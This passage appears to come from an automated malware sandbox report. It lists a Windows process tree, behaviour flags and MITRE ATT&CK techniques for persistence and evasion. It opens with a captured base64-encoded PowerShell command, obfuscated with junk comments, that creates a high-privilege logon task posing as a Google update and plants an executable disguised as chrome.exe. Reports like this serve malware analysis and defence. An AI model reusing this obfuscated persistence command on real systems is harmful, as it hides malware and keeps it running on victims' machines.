AHUAcAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAdwBnACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAegBkAGUAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGkAdwAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcADMAMwAzADMANAAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABDAGgAcgBvAG0AZQBcAGMAaAByAG8AbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHYAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAZwBiAG0AegAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:37644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3552

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4080

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2844

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1732

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4396

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:4880

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2716

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7156
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 520 -p 6956 -ip 6956
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:7380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

System Information Discovery